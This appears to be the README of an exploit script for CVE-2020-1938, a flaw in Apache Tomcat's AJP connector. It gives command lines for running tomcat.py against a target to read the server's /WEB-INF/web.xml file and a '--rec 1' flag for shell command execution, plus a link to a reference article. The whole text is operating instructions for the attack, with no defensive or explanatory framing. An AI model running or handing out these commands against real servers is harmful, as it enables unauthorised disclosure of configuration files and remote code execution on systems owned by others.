cve-2020-1938

1.read file:

python3 tomcat.py URL -f /WEB-INF/web.xml

example:

python3 tomcat.py 127.0.0.1 -f /WEB-INF/web.xml -p 8090

2.excute shell

add --rec 1

refere: https://www.t00ls.net/articles-55062.html